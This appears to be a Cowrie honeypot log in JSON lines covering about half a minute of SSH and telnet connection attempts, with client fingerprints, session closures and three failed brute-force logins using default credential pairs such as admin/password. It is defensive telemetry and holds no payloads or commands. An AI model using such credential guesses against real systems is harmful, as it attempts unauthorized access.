{"eventid":"cowrie.session.connect","src_ip":"45.78.208.179","src_port":45924,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a8dfded87f1","protocol":"ssh","message":"New connection: 45.78.208.179:45924 (159.203.135.109:22) [session: 9a8dfded87f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:09.956014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:09.964215Z","src_ip":"45.78.208.179","session":"9a8dfded87f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:10.204504Z","src_ip":"45.78.208.179","session":"9a8dfded87f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":37440,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd5fcd0fa41c","protocol":"ssh","message":"New connection: 103.148.100.146:37440 (159.203.135.109:22) [session: fd5fcd0fa41c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:10.958409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:10.963302Z","src_ip":"103.148.100.146","session":"fd5fcd0fa41c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1111","message":"login attempt [ubuntu/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:11.180611Z","src_ip":"45.78.208.179","session":"9a8dfded87f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:11.234536Z","src_ip":"103.148.100.146","session":"fd5fcd0fa41c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.34495234489441,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:12.142689Z","src_ip":"94.23.76.26","session":"dba787b8e338","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456Ai","message":"login attempt [root/123456Ai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:12.346727Z","src_ip":"103.148.100.146","session":"fd5fcd0fa41c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:12.419639Z","src_ip":"45.78.208.179","session":"9a8dfded87f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":41220,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5e8efb2befe","protocol":"telnet","message":"New connection: 75.119.159.60:41220 (10.17.0.5:23) [session: e5e8efb2befe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:12.548937Z"}
{"eventid":"cowrie.session.closed","duration":32.17137622833252,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:12.807194Z","src_ip":"46.4.8.162","session":"190dbc156de8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":41764,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad167c5e1106","protocol":"telnet","message":"New connection: 75.119.159.60:41764 (10.17.0.5:23) [session: ad167c5e1106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:13.347905Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":59896,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8b767d8e885","protocol":"telnet","message":"New connection: 35.187.38.22:59896 (159.203.135.109:23) [session: a8b767d8e885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:13.395287Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:13.625800Z","src_ip":"103.148.100.146","session":"fd5fcd0fa41c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":38450,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9ff0e464073","protocol":"telnet","message":"New connection: 46.4.8.162:38450 (159.203.135.109:23) [session: a9ff0e464073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:14.798598Z"}
{"eventid":"cowrie.session.closed","duration":30.771946668624878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:15.094117Z","src_ip":"75.119.159.60","session":"fdbc05164617","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.69881296157837,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:15.819946Z","src_ip":"188.166.220.49","session":"82e4d5234150","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":38462,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fbb2a469a0b","protocol":"telnet","message":"New connection: 46.4.8.162:38462 (159.203.135.109:23) [session: 3fbb2a469a0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:16.306118Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":38440,"dst_ip":"159.203.135.109","dst_port":23,"session":"e565f08a8eeb","protocol":"telnet","message":"New connection: 46.4.8.162:38440 (159.203.135.109:23) [session: e565f08a8eeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:16.700957Z"}
{"eventid":"cowrie.session.closed","duration":34.37003421783447,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:16.734018Z","src_ip":"188.166.220.49","session":"a1b5e3c64a51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03159523010254,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:17.139479Z","src_ip":"75.119.159.60","session":"f65fc22ea69d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":45158,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcd54d76826b","protocol":"telnet","message":"New connection: 75.119.159.60:45158 (10.17.0.5:23) [session: fcd54d76826b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:17.719716Z"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":45576,"dst_ip":"10.17.0.5","dst_port":23,"session":"cae72d82d25b","protocol":"telnet","message":"New connection: 75.119.159.60:45576 (10.17.0.5:23) [session: cae72d82d25b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:18.296058Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58884,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf1d32f1e0ef","protocol":"ssh","message":"New connection: 159.203.92.129:58884 (159.203.135.109:22) [session: cf1d32f1e0ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:18.466141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:18.470910Z","src_ip":"159.203.92.129","session":"cf1d32f1e0ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:18.475626Z","src_ip":"159.203.92.129","session":"cf1d32f1e0ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:18.487996Z","src_ip":"159.203.92.129","session":"cf1d32f1e0ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":38476,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7b79dae3bb8","protocol":"telnet","message":"New connection: 46.4.8.162:38476 (159.203.135.109:23) [session: b7b79dae3bb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:18.519138Z"}
{"eventid":"cowrie.session.closed","duration":35.8241400718689,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:18.977328Z","src_ip":"188.166.220.49","session":"e8435820d40d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:19.495330Z","src_ip":"159.203.92.129","session":"cf1d32f1e0ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":38490,"dst_ip":"159.203.135.109","dst_port":23,"session":"e445ea6d2c36","protocol":"telnet","message":"New connection: 46.4.8.162:38490 (159.203.135.109:23) [session: e445ea6d2c36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:19.624708Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":42478,"dst_ip":"159.203.135.109","dst_port":23,"session":"84d503c70087","protocol":"telnet","message":"New connection: 35.187.38.22:42478 (159.203.135.109:23) [session: 84d503c70087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:20.462667Z"}
{"eventid":"cowrie.session.closed","duration":33.854187965393066,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:21.570323Z","src_ip":"188.166.220.49","session":"7a9087b68a9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97444248199463,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:21.654058Z","src_ip":"46.4.8.162","session":"2ec8cf0245f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":52006,"dst_ip":"10.17.0.5","dst_port":23,"session":"fec80e117aec","protocol":"telnet","message":"New connection: 75.119.159.60:52006 (10.17.0.5:23) [session: fec80e117aec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:25.100662Z"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":52266,"dst_ip":"10.17.0.5","dst_port":23,"session":"53f709f8d6ac","protocol":"telnet","message":"New connection: 75.119.159.60:52266 (10.17.0.5:23) [session: 53f709f8d6ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:25.296062Z"}
{"eventid":"cowrie.session.closed","duration":31.041606426239014,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:25.397894Z","src_ip":"35.187.38.22","session":"54a422d9b223","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.744415044784546,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:25.805997Z","src_ip":"46.4.8.162","session":"7217736a593c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":54016,"dst_ip":"10.17.0.5","dst_port":23,"session":"85d17da85abb","protocol":"telnet","message":"New connection: 75.119.159.60:54016 (10.17.0.5:23) [session: 85d17da85abb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:27.270138Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":52964,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec760f390358","protocol":"telnet","message":"New connection: 35.187.38.22:52964 (159.203.135.109:23) [session: ec760f390358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:27.973904Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":48152,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2311c8c175d","protocol":"telnet","message":"New connection: 46.4.8.162:48152 (159.203.135.109:23) [session: d2311c8c175d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:28.739744Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":48136,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6cd45e0271e","protocol":"telnet","message":"New connection: 46.4.8.162:48136 (159.203.135.109:23) [session: f6cd45e0271e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:28.855048Z"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":55484,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e41478965b0","protocol":"telnet","message":"New connection: 75.119.159.60:55484 (10.17.0.5:23) [session: 6e41478965b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:28.958470Z"}
{"eventid":"cowrie.session.closed","duration":30.233579874038696,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:30.178315Z","src_ip":"75.119.159.60","session":"2c3318aaa2ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.97239565849304,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:30.211737Z","src_ip":"46.4.8.162","session":"671fecbd1602","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":48164,"dst_ip":"159.203.135.109","dst_port":23,"session":"05c6ac0681ea","protocol":"telnet","message":"New connection: 46.4.8.162:48164 (159.203.135.109:23) [session: 05c6ac0681ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:30.342471Z"}
{"eventid":"cowrie.session.closed","duration":31.364050149917603,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:30.687701Z","src_ip":"46.4.8.162","session":"294af736070b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.841182231903076,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:30.763572Z","src_ip":"188.166.220.49","session":"459abbf2e245","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.585448265075684,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:30.957139Z","src_ip":"46.4.8.162","session":"184d57392a53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.141147136688232,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:31.235568Z","src_ip":"35.187.38.22","session":"0e1d0d2c15da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":48166,"dst_ip":"159.203.135.109","dst_port":23,"session":"080045eb3292","protocol":"telnet","message":"New connection: 46.4.8.162:48166 (159.203.135.109:23) [session: 080045eb3292]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:31.504186Z"}
{"eventid":"cowrie.session.closed","duration":35.961506366729736,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:32.536805Z","src_ip":"46.4.8.162","session":"117a8846d47b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.885900735855103,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:34.088040Z","src_ip":"94.23.76.26","session":"0df97fbf00b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.753343105316162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:35.130664Z","src_ip":"75.119.159.60","session":"81fe06a639eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":47846,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac2c7be74468","protocol":"telnet","message":"New connection: 94.23.76.26:47846 (159.203.135.109:23) [session: ac2c7be74468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:35.274043Z"}
{"eventid":"cowrie.session.closed","duration":30.81657910346985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:36.070790Z","src_ip":"75.119.159.60","session":"8ed7623aa270","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.791354179382324,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:36.313705Z","src_ip":"35.187.38.22","session":"bd9cb9b771e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":41748,"dst_ip":"159.203.135.109","dst_port":23,"session":"961511012231","protocol":"telnet","message":"New connection: 46.4.8.162:41748 (159.203.135.109:23) [session: 961511012231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:36.335740Z"}
{"eventid":"cowrie.session.closed","duration":30.770970344543457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:37.046480Z","src_ip":"94.23.76.26","session":"07bf5f042080","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8308687210083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:37.074701Z","src_ip":"75.119.159.60","session":"06957950c39f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":58692,"dst_ip":"159.203.135.109","dst_port":23,"session":"986b05e90d09","protocol":"telnet","message":"New connection: 94.23.76.26:58692 (159.203.135.109:23) [session: 986b05e90d09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:38.029849Z"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":34486,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfe1145f6423","protocol":"telnet","message":"New connection: 75.119.159.60:34486 (10.17.0.5:23) [session: bfe1145f6423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:38.486695Z"}
{"eventid":"cowrie.session.closed","duration":30.975099802017212,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:39.244028Z","src_ip":"35.187.38.22","session":"ac065ccf81fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.964349508285522,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:39.255901Z","src_ip":"35.187.38.22","session":"68023638ca04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":41756,"dst_ip":"159.203.135.109","dst_port":23,"session":"4763b0c92496","protocol":"telnet","message":"New connection: 46.4.8.162:41756 (159.203.135.109:23) [session: 4763b0c92496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:40.567017Z"}
